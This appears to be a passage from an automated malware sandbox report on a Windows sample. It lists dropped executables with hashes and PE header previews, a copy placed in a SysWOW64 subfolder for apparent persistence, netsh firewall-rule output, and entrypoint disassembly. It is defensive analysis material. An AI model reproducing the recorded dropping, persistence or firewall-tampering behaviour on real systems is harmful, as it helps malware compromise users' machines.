Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1341880" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FA5C.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\FA5C.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	700
Entropy (8bit):	5.346524082657112
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPk21OKbbDLI4MWuPJKiUrRZ9I0ZKhat/DLI4M/DLI4M0kvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
MD5:	65CF801545098D915A06D8318D296A01
SHA1:	456149D5142C75C4CF74D4A11FF400F68315EBD0
SHA-256:	32E502D76DBE4F89AEE586A740F8D1CBC112AA4A14D43B9914C785550CCA130F
SHA-512:	4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFA5DA13140A16A7DE949DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8C6C4A9B4F1D552D
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft.CSharp, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Temp\7D38.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 77%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8A6B.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	301056
Entropy (8bit):	5.192330972647351
Encrypted:	false
SSDEEP:	3072:4/ls8LAAkcooHqeUolNx8IA0ZU3D80T840yWrxpzbgqruJnfed:Ils8LA/oHbbLAGOfT8auzbgwuJG
MD5:	277680BD3182EB0940BC356FF4712BEF
SHA1:	5995AE9D0247036CC6D3EA741E7504C913F1FB76
SHA-256:	F9F0AAF36F064CDFC25A12663FFA348EB6D923A153F08C7CA9052DCB184B3570
SHA-512:	0B777D45C50EAE00AD050D3B2A78FA60EB78FE837696A6562007ED628719784655BA13EDCBBEE953F7EEFADE49599EE6D3D23E1C585114D7AECDDDA9AD1D0ECB
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2t..v.i.v.i.v.i.hG..i.i.hG....i.hG..[.i.Q...q.i.v.h...i.hG..w.i.hG..w.i.hG..w.i.Richv.i.........PE..L.....b_.............................-.......0....@.......................... ...............................................e..P....................................2.............................. Y..@............0...............................text............................... ..`.rdata..D?...0...@..."..............@..@.data...X....p...$...b..............@....rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\95C6.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	6.68963832251392
Encrypted:	false
SSDEEP:	6144:03Oruhy9+2efARaYhqUc9xm1IQgUS1u2NG03OF:aOrm0JRzp0x/QgUp2N6
MD5:	F768F4A81E8B87D6990895A35B8D7D6C
SHA1:	D0E5C1E975EC41E222F99F7A235D85317A1BE3A7
SHA-256:	164149035D4A3D2EDBA76C0601F6F83E04D45D7C057D221130C57FC9B13FD5B5
SHA-512:	004DFFBFCF0F36E6C4A411D3D499F25D8441F98F465D1B8A704CE9E9004D2785604C15F96E33A9761DEFE4AE1454E84BD76DD5CAE1A3658EF14D301FE0B69720
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L......`............................ .............@.................................'.......................................T...(.......................................................................@...............D............................text............................... ..`.data...............................@....zas................................@....give...............................@....riyevol............................@....rsrc...............................@..@.reloc..XF.......H..................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\96DB.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	373760
Entropy (8bit):	6.990411328206368
Encrypted:	false
SSDEEP:	6144:GszrgLWpo6b1OmohXrIdF5SpBLE4Hy+74YOAnF3YFUGFHWEZq:Gsgq3b1Omsb7pBLEazsYOSGFHFHW
MD5:	8B239554FE346656C8EEF9484CE8092F
SHA1:	D6A96BE7A61328D7C25D7585807213DD24E0694C
SHA-256:	F96FB1160AAAA0B073EF0CDB061C85C7FAF4EFE018B18BE19D21228C7455E489
SHA-512:	CE9945E2AF46CCD94C99C36360E594FF5048FE8E146210CF8BA0D71C34CC3382B0AA252A96646BBFD57A22E7A72E9B917E457B176BCA2B12CC4F662D8430427D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..U(...(...(...6.).1...6.?.W....l..+...(.......6.8.....6.(.)...6.-.)...Rich(...........PE..L...a.R`.....................v......@.............@..................................&..........................................(........{...................0..........................................@...............8............................text............................... ..`.data...............................@....gizi...............................@....bur................................@....wob................................@....rsrc....{.......\|..................@..@.reloc..4F...0...H...l..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\A15C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	356864
Entropy (8bit):	7.848593493266229
Encrypted:	false
SSDEEP:	6144:v5aWbksiNTBiNg5/dEQECtD2YajndnU4aomwStqUJE0ra7yswH:v5atNTMNg5eQX2BdUcDStq+J4bwH
MD5:	6E7430832C1C24C2BF8BE746F2FE583C
SHA1:	158936951114B6A76D665935AD34F6581556FCDF
SHA-256:	972D533E4DF0786799C0E7C914AA6C04870753C10757C5D58CD874B92A7F4739
SHA-512:	79289323C1104F7483FAC9BF2BCAB5B3804C8F2315C8EDEA9D7C83C8B68B64473122F9B38627169D64A35A960A5F74A3364159CA9CB37B0A2B1BA1B41607A8C8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2.....\...............0....@.........................................................................lq......................................................................................pt..<............................code...~8.......:.................. ..`.text...B....P.......>.............. ..`.rdata...3...0...4..................@..@.data........p.......J..............@....rsrc................\..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B3EB.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3576320
Entropy (8bit):	7.9976863291960605
Encrypted:	true
SSDEEP:	49152:Y+RSFqeQKgdJee+ntOkgd+TuRCg+687ZEYNFvKfDIcK8nAONaGGh:Yb8eQKg+tOV0T0z875NFKfDPK8nASA
MD5:	5800952B83AECEFC3AA06CCB5B29A4C2
SHA1:	DB51DDBDF8B5B1ABECD6CFAB36514985F357F7A8
SHA-256:	B8BED0211974F32DB2C385350FB62954F0B0F335BC592B51144027956524D674
SHA-512:	2A490708A2C5B742CEB14DE6E2180C4CB606FCCEB5F17DE69249CF532EDC37B984686B534A88AE861CC38471C5892785C26DA68C4F662959542458C583E77E38
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......a.................$...................@....@...........................S......!7.....................................\|.N. .... M...................................................................................................................... ..........................@................0......................@................@...z..................@............ ...0......................@...........x+...P......................@.............1.........................@....rsrc........ M......L0.............@....28gybOo......N.......1.............@....adata.......pS.......6.............@...........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BBBC.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	905216
Entropy (8bit):	7.399713113456654
Encrypted:	false
SSDEEP:	12288:KoXpNqySLyUDd48BpBIfj2ucA0ZeEbVkw+lMbguodE1z0oLxCZJ9tzj8kpcunn:KoO9FDZpBIMR/4Mzv2Jnp
MD5:	852D86F5BC34BF4AF7FA89C60569DF13
SHA1:	C961CCD088A7D928613B6DF900814789694BE0AE
SHA-256:	2EAA2A4D6C975C73DCBF251EA9343C4E76BDEE4C5DDA8D4C7074078BE4D7FC6F
SHA-512:	B66B83D619A242561B2A7A7364428A554BB72CCC64C3AC3F28FC7C73EFE95C7F9F3AC0401116AE6F7B41B960C323CC3B7ADAC782450013129D9DEC49A81DCEC7
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..................g.....q.I....v....h......E....x.....f.....c...Rich..................PE..L....[._................. ...2.......0.......0....@..........................P\|......q......................................Xf..(....p.. ............................1..............................@Y..@............0...............................text............ .................. ..`.rdata.."?...0...@...$..............@..@.data...8....p.......d..............@....rsrc... .n..p......................@..@........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\C487.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	MS-DOS executable
Category:	dropped
Size (bytes):	557664
Entropy (8bit):	7.687250283474463
Encrypted:	false
SSDEEP:	12288:fWxcQhhhhhn8bieAtJlllLtrHWnjkQrK8iBHZkshvesxViA9Og+:fWZhhhhhUATlLtrUbK8oZphveoMA9
MD5:	6ADB5470086099B9169109333FADAB86
SHA1:	87EB7A01E9E54E0A308F8D5EDFD3AF6EBA4DC619
SHA-256:	B4298F77E454BD5F0BD58913F95CE2D2AF8653F3253E22D944B20758BBC944B4
SHA-512:	D050466BE53C33DAAF1E30CD50D7205F50C1ACA7BA13160B565CF79E1466A85F307FE1EC05DD09F59407FCB74E3375E8EE706ACDA6906E52DE6F2DD5FA3EDDCD
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ.....o...g.'.:.(3...32.....f.....C'B{b.........+..R...d:.....Q..............................................................................................................................................................................................PE..L....5...............0..$...*........... ...`....@..........................0.......@....@..................................p..........P)...........................................................................................................idata...`.............................`.pdata.......p......................@....rsrc...P)......0...................@..@.didata..........x..................@.....................................................................................................................................................................................................................................................................................................................g..L.r9..v9.<iP.hL[Kc...",..

C:\Users\user\AppData\Local\Temp\CF17.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	356864
Entropy (8bit):	7.8500958922173165
Encrypted:	false
SSDEEP:	6144:P5aWbksiNTBQlCuchwPuVbIn97yYUdL6TVrp/LbU7LY6TzeWJwN:P5atNTqlCl84wJyYUpUrLbU9SWJwN
MD5:	FEB8ADD569247306CB0271C907607238
SHA1:	BB9353D602A82FF174AFE7574F4AFD6009E2A8B0
SHA-256:	E7587776ADECF859E137E7AF3DA4B9B6FD9428E6F89CC48D3A63886D490BAACA
SHA-512:	6F650A1D44A11B2205E59DC915E244AC43988C7AC32972280CC5C5CA1ED668B683C2B06F61AEF8D2E91CE1C83FC4E0788207023B6CA81372ACDB4935F0402689
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....usZ...............2.....\...............0....@.........................................................................lq......................................................................................pt..<............................code...~8.......:.................. ..`.text...B....P.......>.............. ..`.rdata...3...0...4..................@..@.data........p.......J..............@....rsrc................\..............@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CFE8.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	323072
Entropy (8bit):	6.715654310492716
Encrypted:	false
SSDEEP:	6144:LDKNqNHeJZentJavqabB5guxMOgOC9nfpL6P9KJ:LDRNHWsJdKDgXOgOYfpQU
MD5:	E1AF41681888A847863EE17BD63450A0
SHA1:	E03508E1D39121DD0263C5A734C1C6ED0E266AC1
SHA-256:	AEED1BF32DF36AD3CCC929987DBD30E2B1836C267223614D3648B3027E23E1FE
SHA-512:	1E4F8699884B43B06020469AE6BBE94F3744075595DE9EFAF868DD7AB5FB40DE89CF5CADA3E9EA6033F3316D09EA4B9B79837E6C9AD8742436C07FF1B86E65B1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L....V._............................@.............@.........................................................................t...(.......................................................................@...............D............................text............................... ..`.data...............................@....sutala.............................@....buve...............................@....bobe...............................@....rsrc................"..............@..@.reloc..bF.......H..................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E2A6.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	6.689874466366023
Encrypted:	false
SSDEEP:	6144:rwbDZlpg+MKH0e+F4a3TCkh4hXfcAg4SzqHeBcgKl:rUZfgTKH014UBqhEAg4fHe
MD5:	E4B33586BFDB5A9CD45F3038B8F4CCBD
SHA1:	D9E825FCAB71C80BA1515BEDB40030840837D1B4
SHA-256:	3BB8EF6EAEC03C54C6C517000575EF943577CA0A71E61FD29257786991306133
SHA-512:	3A648A9F056588502191E531AF5BC19E57B802C5B6DB71DA9F6C9CACD4715726E0058D04C5597329338E930AED6B2A5FFD736C779F36CABCB8CAF6D509AEBE7B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L...-..`.........................................@.................................:=..........................................(.......................................................................@...............D............................text...~........................... ..`.data...............................@....tojid..............................@....vese...............................@....fikazap............................@....rsrc...............................@..@.reloc..XF.......H..................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FA5C.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	537088
Entropy (8bit):	5.840438491186833
Encrypted:	false
SSDEEP:	12288:SV2DJxKmQESnLJYydpKDDCrqXSIXcZD0sgbxRo:nK1vVYcZyXSY
MD5:	D7DF01D8158BFADDC8BA48390E52F355
SHA1:	7B885368AA9459CE6E88D70F48C2225352FAB6EF
SHA-256:	4F4D1A2479BA99627B5C2BC648D91F412A7DDDDF4BCA9688C67685C5A8A7078E
SHA-512:	63F1C903FB868E25CE49D070F02345E1884F06EDEC20C9F8A47158ECB70B9E93AAD47C279A423DB1189C06044EA261446CAE4DB3975075759052D264B020262A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?y...............0.............I... ...`....@.. ....................................@.................................`I..K....`............................................................................... ............... ..H............text....)... ..................... ..`.rsrc........`.......,..............@....reloc...............0..............@..B.................I......H............?..........hX..}............................................(......0..,.......(d...8.....~....u....s....z&8.........8...................................(d...(.......j................................(.....~(....(^...8....(.........8........................................0..............0...................................(......0.....................0..............(....z.A.........z.A............................................*.......

C:\Users\user\AppData\Local\Temp\gaystiqf.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\E2A6.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12005888
Entropy (8bit):	3.8030917940266584
Encrypted:	false
SSDEEP:	6144:pwbDZlpg+MKH0e+F4a3TCkh4hXfcAg4SzqHeBcgKlClClClClClClClClClClCl8:pUZfgTKH014UBqhEAg4fHe
MD5:	6D07EFE4270BD10431D8E32CADCFF4E7
SHA1:	AD08F50151D2F7587196092F97BB24BB696C3084
SHA-256:	2476273703617870AE392F166BC07D346596D23A159BF762FD5468844B70E33F
SHA-512:	03E36F3E9821FB681436A6ED381FB0E03B0EE1DEC5E7EDD27A5A3A3289A9D6EA896CD61F7E7BC355D4E2D34B200F50BC5CEDB36BE02BBDF5C781CC49B77CCD38
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L...-..`.........................................@.................................:=..........................................(.......................................................................@...............D............................text...~........................... ..`.data...............................@....tojid..............................@....vese...............................@....fikazap............................@....rsrc...............................@..@.reloc..XF..........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\adijaeg Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	320000
Entropy (8bit):	6.68963832251392
Encrypted:	false
SSDEEP:	6144:03Oruhy9+2efARaYhqUc9xm1IQgUS1u2NG03OF:aOrm0JRzp0x/QgUp2N6
MD5:	F768F4A81E8B87D6990895A35B8D7D6C
SHA1:	D0E5C1E975EC41E222F99F7A235D85317A1BE3A7
SHA-256:	164149035D4A3D2EDBA76C0601F6F83E04D45D7C057D221130C57FC9B13FD5B5
SHA-512:	004DFFBFCF0F36E6C4A411D3D499F25D8441F98F465D1B8A704CE9E9004D2785604C15F96E33A9761DEFE4AE1454E84BD76DD5CAE1A3658EF14D301FE0B69720
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L......`............................ .............@.................................'.......................................T...(.......................................................................@...............D............................text............................... ..`.data...............................@....zas................................@....give...............................@....riyevol............................@....rsrc...............................@..@.reloc..XF.......H..................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\adijaeg:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\SysWOW64\txlhcyih\gaystiqf.exe (copy) Download File
Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12005888
Entropy (8bit):	3.8030917940266584
Encrypted:	false
SSDEEP:	6144:pwbDZlpg+MKH0e+F4a3TCkh4hXfcAg4SzqHeBcgKlClClClClClClClClClClCl8:pUZfgTKH014UBqhEAg4fHe
MD5:	6D07EFE4270BD10431D8E32CADCFF4E7
SHA1:	AD08F50151D2F7587196092F97BB24BB696C3084
SHA-256:	2476273703617870AE392F166BC07D346596D23A159BF762FD5468844B70E33F
SHA-512:	03E36F3E9821FB681436A6ED381FB0E03B0EE1DEC5E7EDD27A5A3A3289A9D6EA896CD61F7E7BC355D4E2D34B200F50BC5CEDB36BE02BBDF5C781CC49B77CCD38
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<..R..R..R......R....g.R..])..R..S...R.....R......R......R.Rich.R.................PE..L...-..`.........................................@.................................:=..........................................(.......................................................................@...............D............................text...~........................... ..`.data...............................@....tojid..............................@....vese...............................@....fikazap............................@....rsrc...............................@..@.reloc..XF..........................@..B........................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.23827032270778
Encrypted:	false
SSDEEP:	12288:VH9yhjdQZT0wNxPwkQ9LLFQQvolLhLg0/+8K7vGneigAgc8O:V9yhjdQZT0CxPwJJv
MD5:	B057F97299DBE5E945EEF8754F5D4597
SHA1:	C6230D218779F120F9911265D4D3BE4C8D753618
SHA-256:	286C246A52C29E67BA99172CCB226A45CF05253EE28354730FE94FCB6F8D203A
SHA-512:	74ACDC737EFB2B39C740F422202E9392F956790398E9C3EC35B00A8BCCE0021D75F834C029D88DA82E13F6983BFB50E8850DA397CBF7E6889C48738CBE047F8F
Malicious:	false
Reputation:	unknown
Preview:	regfH...H...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm./..9...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.3475884053493443
Encrypted:	false
SSDEEP:	384:hLz5K5vRv4KgnVVeeDze31NKZtjfT8GRwU3AsPzM8i:9NKPg/eeDzelNYtjoGRwURM8
MD5:	A5E06A1D69185A2B857B67E5B04572E8
SHA1:	85572781BB9F1FCF67A9FCC48147B01F9D022CF9
SHA-256:	361D01FAB30CC588055ACC3204B221A57029A22C9E796F38FB98A2EF7FAAB011
SHA-512:	249EE970D19B9CFDEF7BFD65A660C187723B3E6B5813542B33D8A8B18757B4169F5E1918F24A5D83B8D1E1839481AF7A3F1E46D65CB60A582F88A87CFC2CC1AD
Malicious:	false
Reputation:	unknown
Preview:	regfG...G...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm./..9...................................................................................................................................................................................................................................................................................................................................................HvLE.N......G...........x...'..,.~.......................... ..hbin................p.\..,..........nk,....9.......x........................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ....9....... ........................... .......Z.......................Root........lf......Root....nk ....9................................... ...............*...............DeviceCensus.......................vk..................WritePermissionsCheck.......p...

\Device\ConDrv Download File
Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3773
Entropy (8bit):	4.7109073551842435
Encrypted:	false
SSDEEP:	48:VHILZNfrI7WFY32iIiNOmV/HToZV9It199hiALlIg39bWA1RvTBi/g2eB:VoLr0y9iIiNOoHTou7bhBlIydWALLt2w
MD5:	DA3247A302D70819F10BCEEBAF400503
SHA1:	2857AA198EE76C86FC929CC3388A56D5FD051844
SHA-256:	5262E1EE394F329CD1F87EA31BA4A396C4A76EDC3A87612A179F81F21606ABC8
SHA-512:	48FFEC059B4E88F21C2AA4049B7D9E303C0C93D1AD771E405827149EDDF986A72EF49C0F6D8B70F5839DCDBD6B1EA8125C8B300134B7F71C47702B577AD090F8
Malicious:	false
Reputation:	unknown
Preview:	..A specified value is not valid.....Usage: add rule name=<string>.. dir=in\|out.. action=allow\|block\|bypass.. [program=<program path>].. [service=<service short name>\|any].. [description=<string>].. [enable=yes\|no (default=yes)].. [profile=public\|private\|domain\|any[,...]].. [localip=any\|<IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [remoteip=any\|localsubnet\|dns\|dhcp\|wins\|defaultgateway\|.. <IPv4 address>\|<IPv6 address>\|<subnet>\|<range>\|<list>].. [localport=0-65535\|<port range>[,...]\|RPC\|RPC-EPMap\|IPHTTPS\|any (default=any)].. [remoteport=0-65535\|<port range>[,...]\|any (default=any)].. [protocol=0-255\|icmpv4\|icmpv6\|icmpv4:type,code\|icmpv6:type,code\|.. tcp\|udp\|any (default=any)].. [interfacetype=wireless\|lan\|ras\|any].. [rmtcomputergrp=<SDDL string>].. [rmtusrgrp=<SDDL string>].. [edge=yes\|deferapp\|deferuser\|no (default=no)].. [security=authenticate\|authenc\|authdynenc\|authnoencap\|

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.68963832251392
TrID:	Win32 Executable (generic) a (10002005/4) 99.83% Windows Screen Saver (13104/52) 0.13% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	sbxGIUIhRd.exe
File size:	320000
MD5:	f768f4a81e8b87d6990895a35b8d7d6c
SHA1:	d0e5c1e975ec41e222f99f7a235d85317a1be3a7
SHA256:	164149035d4a3d2edba76c0601f6f83e04d45d7c057d221130c57fc9b13fd5b5
SHA512:	004dffbfcf0f36e6c4a411d3d499f25d8441f98f465d1b8a704ce9e9004d2785604c15f96e33a9761defe4ae1454e84bd76dd5cae1a3658ef14d301fe0b69720
SSDEEP:	6144:03Oruhy9+2efARaYhqUc9xm1IQgUS1u2NG03OF:aOrm0JRzp0x/QgUp2N6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........<...R...R...R.......R.....g.R..])...R...S...R.......R.......R.......R.Rich..R.................PE..L......`...................

File Icon


Icon Hash:	c8d0d8e0f8e0f0e8

Static PE Info

General
Entrypoint:	0x41b620
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x60CC14F0 [Fri Jun 18 03:37:20 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	64f7fef844b1e4fdfabf9d9b629075a0

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F67B457919Bh
call 00007F67B456C286h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 0043DC28h
push 0041E800h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [00440354h]
